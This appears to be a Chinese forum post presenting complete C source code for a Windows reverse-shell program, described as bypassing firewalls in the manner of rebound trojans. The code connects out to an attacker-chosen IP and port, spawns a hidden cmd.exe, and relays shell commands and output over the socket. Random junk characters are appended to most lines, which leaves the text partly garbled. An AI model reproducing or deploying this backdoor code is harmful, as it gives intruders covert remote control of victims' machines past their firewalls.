这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |p|Zv H
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/* ============================== ]EiM~n
Rebound port in Windows NT iiPVqU%
By wind,2006/7 X{-4w([
===============================*/ s5VK
#include NdXHpq;
#include c+:ZmrP/
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#pragma comment(lib,"wsock32.lib") kuEXNi1l
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void OutputShell(); E2e"A
I.h
SOCKET sClient; 4>gfLK\R:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1b5Z^a<u
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void main(int argc,char **argv) 3<xE_ \DR
{ BhJ>G%
WSADATA stWsaData; VE|:k:};
int nRet; ^h[6{F~J
SOCKADDR_IN stSaiClient,stSaiServer; 1WUSp;JMl
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if(argc != 3) 'oa.-g 5
{ 7)rQf{q7
printf("Useage:\n\rRebound DestIP DestPort\n"); |L<JOQ
return; RNT9M:w
} ?WI v4
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WSAStartup(MAKEWORD(2,2),&stWsaData); V}E['fzBFV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `Y&`2WZ ~
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stSaiClient.sin_family = AF_INET; Rh'z;Gyr
stSaiClient.sin_port = htons(0); BZeEZ2"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pzF_g-B
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2I.FSR_G?
{ y1V}c,
printf("Bind Socket Failed!\n"); !sT>]e
return;
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} )UR$VL
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stSaiServer.sin_family = AF_INET; ;z:Rj}l
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v{" nyW6#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uo:RNokjJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &CG94
{ mv9D{_,pD
printf("Connect Error!"); -)A:@+GF
return; RD`|Z~:q:K
} )vtbA=RH?
OutputShell(); /X}1%p
} W~ yb>+u
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void OutputShell() {cdICWy(F3
{ bmT%?it
char szBuff[1024]; ZU\$x<,
SECURITY_ATTRIBUTES stSecurityAttributes; JsY,Q,D q
OSVERSIONINFO stOsversionInfo; v^9eTeFO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !r/i<~'Bx
STARTUPINFO stStartupInfo; %NLd"SV
char *szShell; bb_elmb)n
PROCESS_INFORMATION stProcessInformation; }?m0bM
unsigned long lBytesRead; rZI63S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xu{y5N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lxn/97rA
stSecurityAttributes.lpSecurityDescriptor = 0; 1hbQ30
stSecurityAttributes.bInheritHandle = TRUE; a~2Jf @I3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iM .yen_vp
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VwR\"8r3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ekx(i
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [if(B\&
stStartupInfo.wShowWindow = SW_HIDE; `xM*cJTZ
stStartupInfo.hStdInput = hReadPipe; G4
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w,1N ;R&
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GetVersionEx(&stOsversionInfo); d V%o:@Z
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switch(stOsversionInfo.dwPlatformId) AbNr]w&pXC
{ -x?Z2EA!
case 1: &v:zS$m>
szShell = "command.com"; !
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break; e N`+ r
default: CI*JedO]
szShell = "cmd.exe"; 0Gu77&
break; cqU6 Y*n
} /)K')
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TQ\#Z~CbK{
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send(sClient,szMsg,77,0); L,zx\cj?z
while(1) dV$[O`F*b
{ a" s2N%{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 091m$~r*
if(lBytesRead) 5bb#{?2i
{ oyVT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); <MEm+8e/s6
} P$'PB*5d|
else GW
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{ CC^D4]ug
lBytesRead=recv(sClient,szBuff,1024,0); _J C*4
if(lBytesRead<=0) break; % )V=)l.j
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7sVM[lr<
} O+!4KNN.-
} :h@V,m Z
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return; bfeTf66c
}